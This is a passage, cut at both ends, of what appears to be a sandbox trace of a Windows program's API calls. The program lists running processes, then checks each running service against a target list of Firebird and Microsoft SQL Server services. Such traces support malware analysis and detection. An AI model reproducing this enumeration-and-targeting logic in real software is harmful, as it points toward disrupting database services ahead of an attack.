returned 1 [0177.281] lstrlenW (lpString="spcwin.exe") returned 10 [0177.281] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0177.282] lstrlenW (lpString="spgagentservice.exe") returned 19 [0177.282] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0177.282] lstrlenW (lpString="utg2.exe") returned 8 [0177.282] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="counsel-directed-receivers.exe")) returned 1 [0177.283] lstrlenW (lpString="counsel-directed-receivers.exe") returned 30 [0177.283] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0177.283] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0177.283] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.284] lstrlenW (lpString="svchost.exe") returned 11 [0177.284] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0177.285] lstrlenW (lpString="taskhostw.exe") returned 13 [0177.285] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0177.285] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0177.285] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11f0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0177.286] lstrlenW (lpString="conhost.exe") returned 11 [0177.286] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3dc, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0177.286] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0177.286] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x123c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0177.287] lstrlenW (lpString="conhost.exe") returned 11 [0177.287] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0177.287] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0177.287] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x13dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0177.288] lstrlenW (lpString="powershell.exe") returned 14 [0177.288] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0177.288] lstrlenW (lpString="conhost.exe") returned 11 [0177.288] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="TiWorker.exe")) returned 1 [0177.289] lstrlenW (lpString="TiWorker.exe") returned 12 [0177.289] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0177.289] lstrlenW (lpString="sppsvc.exe") returned 10 [0177.290] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0177.290] lstrlenW (lpString="powershell.exe") returned 14 [0177.290] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1368, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0177.290] lstrlenW (lpString="conhost.exe") returned 11 [0177.291] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0177.291] lstrlenW (lpString="taskhostw.exe") returned 13 [0177.291] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="NS2.exe")) returned 1 [0177.291] lstrlenW (lpString="NS2.exe") returned 7 [0177.292] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xe48, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0177.292] lstrlenW (lpString="conhost.exe") returned 11 [0177.292] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0177.292] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0177.293] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0177.293] lstrlenW (lpString="dllhost.exe") returned 11 [0177.293] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=24, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0177.293] lstrlenW (lpString="winhost.exe") returned 11 [0177.294] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xcd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0177.294] lstrlenW (lpString="cmd.exe") returned 7 [0177.294] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0177.294] lstrlenW (lpString="conhost.exe") returned 11 [0177.294] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0177.295] lstrlenW (lpString="mode.com") returned 8 [0177.295] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0177.295] CloseHandle (hObject=0x370) returned 1 [0177.295] Sleep (dwMilliseconds=0x1f4) [0177.813] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6eeef0 [0177.814] EnumServicesStatusExW (in: hSCManager=0x6eeef0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0177.814] GetLastError () returned 0xea [0177.814] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1e24) returned 0x37d19a0 [0177.814] EnumServicesStatusExW (in: hSCManager=0x6eeef0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37d19a0, cbBufSize=0x1e24, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37d19a0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0177.815] CloseServiceHandle (hSCObject=0x6eeef0) returned 1 [0177.815] lstrlenW (lpString="Appinfo") returned 7 [0177.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0177.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0177.815] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0177.815] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0177.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0177.815] lstrlenW (lpString="AppXSvc") returned 7 [0177.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0177.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0177.815] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0177.815] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0177.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0177.815] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0177.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0177.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0177.815] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0177.815] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0177.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0177.815] lstrlenW (lpString="Audiosrv") returned 8 [0177.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0177.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0177.815] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0177.815] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0177.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0177.815] lstrlenW (lpString="BFE") returned 3 [0177.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0177.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0177.815] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0177.815] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0177.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0177.815] lstrlenW (lpString="BITS") returned 4 [0177.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0177.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0177.816] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0177.816] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0177.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0177.816] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0177.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0177.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0177.816] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0177.816] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0177.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0177.816] lstrlenW (lpString="CDPSvc") returned 6 [0177.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0177.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0177.816] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0177.816] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0177.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0177.816] lstrlenW (lpString="ClipSVC") returned 7 [0177.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0177.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0177.816] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0177.816] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0177.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0177.816] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0177.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0177.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0177.816] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0177.816] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0177.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0177.816] lstrlenW (lpString="CryptSvc") returned 8 [0177.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0177.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0177.816] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0177.816] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0177.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0177.816] lstrlenW (lpString="DcomLaunch") returned 10 [0177.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0177.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0177.816] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0177.816] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0177.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0177.816] lstrlenW (lpString="Dhcp") returned 4 [0177.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0177.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0177.816] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0177.816] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0177.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0177.816] lstrlenW (lpString="Dnscache") returned 8 [0177.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0177.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0177.816] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0177.816] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0177.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0177.816] lstrlenW (lpString="DoSvc") returned 5 [0177.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0177.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0177.817] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0177.817] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0177.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0177.817] lstrlenW (lpString="DPS") returned 3 [0177.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0177.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0177.817] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0177.817] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0177.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0177.817] lstrlenW (lpString="DusmSvc") returned 7 [0177.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0177.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0177.817] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0177.817] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0177.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0177.817] lstrlenW (lpString="EventLog") returned 8 [0177.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0177.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0177.817] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0177.817] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0177.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0177.817] lstrlenW (lpString="EventSystem") returned 11 [0177.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0177.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0177.817] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0177.817] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0177.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0177.817] lstrlenW (lpString="gpsvc") returned 5 [0177.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0177.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0177.817] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0177.817] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0177.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0177.817] lstrlenW (lpString="iphlpsvc") returned 8 [0177.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0177.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0177.817] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0177.817] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0177.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0177.817] lstrlenW (lpString="KeyIso") returned 6 [0177.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0177.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0177.817] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0177.817] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0177.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0177.817] lstrlenW (lpString="LanmanServer") returned 12 [0177.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0177.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0177.817] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0177.817] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0177.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0177.818] lstrlenW (lpString="LanmanWorkstation") returned 17 [0177.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0177.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0177.818] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0177.818] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0177.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0177.818] lstrlenW (lpString="lfsvc") returned 5 [0177.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0177.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0177.818] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0177.818] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0177.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0177.818] lstrlenW (lpString="LicenseManager") returned 14 [0177.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0177.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0177.818] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0177.818] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0177.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0177.818] lstrlenW (lpString="lmhosts") returned 7 [0177.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0177.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0177.818] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0177.818] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0177.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0177.818] lstrlenW (lpString="LSM") returned 3 [0177.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0177.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0177.818] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0177.818] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0177.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0177.818] lstrlenW (lpString="MpsSvc") returned 6 [0177.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0177.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0177.818] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0177.818] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0177.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0177.818] lstrlenW (lpString="NcbService") returned 10 [0177.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0177.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0177.818] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0177.818] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0177.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0177.818] lstrlenW (lpString="netprofm") returned 8 [0177.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0177.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0177.818] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0177.818] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0177.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0177.818] lstrlenW (lpString="NlaSvc") returned 6 [0177.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0177.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0177.818] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0177.819] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0177.819] lstrcmpiW (lpString1="sqlserveradhelper", 